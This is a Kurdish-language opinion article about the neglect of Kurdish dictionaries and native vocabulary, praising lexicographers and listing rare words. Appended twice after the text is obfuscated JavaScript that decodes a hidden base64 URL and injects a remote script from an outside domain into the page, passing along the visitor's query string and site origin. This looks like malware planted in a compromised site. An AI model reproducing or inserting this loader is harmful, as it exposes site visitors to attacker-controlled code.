دا پێكڤە تۆزێ ژ سەر ڕاكەین
جەگەر كەمال ڕێكانی
بەرهەڤكەر و ئامادەكارێ ڤێ پەرتووكێ ل جهەكی دبێژیت: “دبیت ئەڤێ پەرتووكێ د ڕەفاتكێن پەرتووكخانانداز تژی سەر تۆز ببیت و كەس نەخوینیت”! جهێ داخێ یە كۆ مە نە ب تنێ تۆز هێلایە ل سەر پەرتووك و فەرهەنگێن زمانێ كوردی بەلكی ئەم یێ هەولددەین ب هەمی شیانێن خوە تۆزێ بكەینە زمانێ كوردی ب خوە ژی و بن ئاخ بكەین، گۆری پێشكەفتنێ بكەین! ئەڤجار لبن گەلەك ناڤ و نیشانێن جوداجودا، هندەك دێ بێژن مانێ دناڤ هەمی زمانان دا پەیڤێن بیانی بكاردئینن (ئەو ژبیر دكەن كۆ زمانێ وی یێ بێ وەلاتە)! كۆمەك ژی دێ بێژن ئەڤە نیشانا پێشكەفتنێ یە و پەیڤێن بیانی دناڤ زمانێ خوە دا بكاردئینن و بلا پەیڤێن زمانێ دەیكێ بچنە كانیكا قیڕی! هندەك ڕەوشەنبیر و نڤیسكار ژی دێ چن ب بەهانەیا وێ چەندێ كۆ دێ ب زمانەكێ جیهانی نڤێسم و ب دەڤۆكا وەلاتەكێ جودا خزمەتا زمانێ خوەكەت( ئەڤە دروستە لێ بلا زمانێ تە هەردەم ل پلە ئێك و سەرێ وی بسەر یێن دی بكەڤیت، نە 100 گۆتاران ب بیانی بنڤیسی ژنوی ئێكا كوردی بنڤیسی) ئەو ڕۆژ ژی چوو ئێكی هوین نەشێن مە ب ێ ئاخفتنێ ڕازی بكەن كۆ یا فەرە ئەم ب زمانێ دوژمنێ خوە بنڤیسین (ل ڤێرێ ئەرێ ما كی هەیە نە دۆژمنێ كەوی؟ یا نەخوە ئەوە دەمێ كەو ژی دۆژمنێ سەرێ خوە بیت). هەر ئێك ژ ئالیێ خوەڤە یێ زللەها خوە ددانیت زمانێ كوردی “ب تایبەت زاراڤێ بەهدینی”، ل ڤێرێ دو خال یێن هەین یان ئەو كەس دزانیت ئەڤە یێ زمانەكێ زەنگین و باب و باپیران ژناڤ دبەن و كەیفا وان ب ڤێ چەندێ دهێت، یان ژی ژ نەزانینا وانایە.
هندە مامۆستا، زمانزان و نڤیسكارێن ڕێزدار شەڤ و ڕۆژ ل خوە كرنە ئێك دا ڤی زمانی بپارێزن و ژ تەختێ مرنێ ڕاكەن ڤە، ژنوی ئەز بهێم و ل ئەردی بدەم ڤە؟ ئێكێ وەكی مامۆستا “ئیسماعیل تەها شاهین”ی ڕابیت پتر ژ 30 سالێن تەمەنێ خوە ببەت ب دروستكرنا فەرهەنگەكێ ڤە و جاران ب كیلۆمەتران ب پییان بچیت ب تنێ دا ناڤێ بالندەیەكی یان گیایەكێ كوردی ب زانیت و بۆ من و تە بنڤیسیت و ئەز بهایێ ڤێ چەندێ نەزانم! یان ژی ژ سالێن نوتان وەرە جوامێرەكی وەكی “موستەفا ئەرەدنی” ب شەڤ و ڕۆژ خوە لبەر پیرەمێر و پیرەژنان ڤەددا داكۆ پەیڤان لدەف خوە بنڤیسیت و هەر هەڤۆكەك یان ڕستەیەكا ژ دەڤی دەركەفتبا داكۆ قەید بكەت و هەلگریت داكۆ ئەڤرۆ ئەم بەرەبابێ نوكە مفای ژێ وەرگرین ببیتە بلۆكەك ژ پەرتووكخانا كوردی، ئەڤجا پشتی ڤێ هەمیێ دروستە تۆز بكەڤیتە سەر؟ دێ ب ڤی شێوەیی بهایێ دەڤۆكا خوە زانین؟. بەرسڤكا دی، ڕاستە هەر بەرەبابەكی زمانێ خوە یێ تایبەت ب وی سەردەمی و ستایلی ڤە یێ هەیی، لێ خەلك نوكە ژی ڕێزێ ل زمانێ خوە یێ بەری هزار سالان پێ ئاخفتین دگرن، دێ هەڕن تەماشەی ئینگلیزیا “شەكسپیری 1564-1606ز “بكەن كا چەند یا ڕەقە، لێ نوكەژی ل هەمی زانكویێن جیهانێ ب وێ ئینگلیزیێ دخوینن و دنڤیسن بێی ئێك پەیڤێ بگوهۆڕن، سەحكەن عەرەبان هێژ نوكەژی سەربلندن ب هەلبەست و زمانێ “ئەلموهەلهلی” ئەڤێ دبێژنێ “ عودەیێ كورێ ڕەبیعەی” بكاردئینن یان “ئامینایا كچا عوتەیبەی” یان ژی “قەیسێ كورێ مولەوەحی” ژبەر دكەن، پا نابێژن یا كەڤنە و ئێدی ئەم پێدڤی نابینێ. هوین چ دبێژن جارەكێ پێكڤە بچینە مالن باژێرێ مە كا چەندان فەرهەنگێن زمانی دناڤ پەرتووكخانێن وان دا هەنە، بەرسڤ ژی ژ ڤێ تەحلترە چونكی هەر پەرتووكخانە نینن ئەڤجا هەتا فەرهەنگ تێدا بیت! ئەم چ تشتی ب زەحمەت و نەبەرئەقل ناكەین دا كەس گازندا ژ مە نەكەت، ب تنێ دێ چین بەشێن زمانێ كوردی ل زانكۆیێن مە و پرسیارا چەند پەیڤێن كوردی یێن ڕەسەن ژ قوتابیێن سالا چوارێ و دوماهیێ كەین، كا ئەرێ دێ چەند واتایا وان زانن؟ یان مامۆستایێن وان دێ زانن؟ پیچەكێ یان گەلەكێ گۆمان یا تێدا! بۆ نموونە ژی (هنین، ئاخلێڤ، ئاڤزهـ، هنگل، نیوان، شاگرد، لەخرین، لەیلان، گەور، پێژمێر، چەقەلۆز، خێرافك، ڕەنگز، سەقا، شەڤگەر، شابەندەر، عنی، شالیار، قوڕنەت، كەد، گڕۆڤە…هتد).(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();
